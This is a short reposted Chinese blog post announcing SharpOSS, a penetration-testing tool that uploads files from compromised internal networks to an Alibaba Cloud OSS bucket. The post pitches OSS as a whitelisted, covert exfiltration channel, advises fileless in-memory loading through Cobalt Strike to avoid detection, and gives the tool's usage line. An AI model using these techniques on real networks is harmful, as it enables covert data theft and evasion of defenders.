SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传

admin 2020年10月4日18:32:07评论750 views字数 499阅读1分39秒阅读模式

内网需求

“内网渗透的本质是信息收集”,常常会收集到一些体积较大的文件或者是源码进行分析利用。而网络情况复杂的情况下,通过菜刀一类webshell管理工具或CS一类C2工具来进行传输文件是非常慢的,所以经常会用到AliyunOSS来进行快速文件传输。同时aliyunOSS是白域名,比cs传输文件更为隐秘就看了一下aliyun-oss-csharp-sdk实现了这个功能。

Usage

建议可内存加载,尽量用cs的execute-assembly内存加载,做到尽可能的不落地。

> SharpOSS.exeAuthor: UknowGithub: https://github.com/uknowsec/SharpOSSUsage:  SharpOSS.exe bucketName accessKeyId accessKeySecret endpoint UploadFilePath

github

https://github.com/uknowsec/SharpOSS

代码仅放出了主要部分,需要引用aliyun-oss-csharp-sdk。有兴趣的自行反编译exe。

关注公众号回复 SharpOSS 可直接获取下载地址。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月4日18:32:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传http://cn-sec.com/archives/149769.html

发表评论

匿名网友 填写信息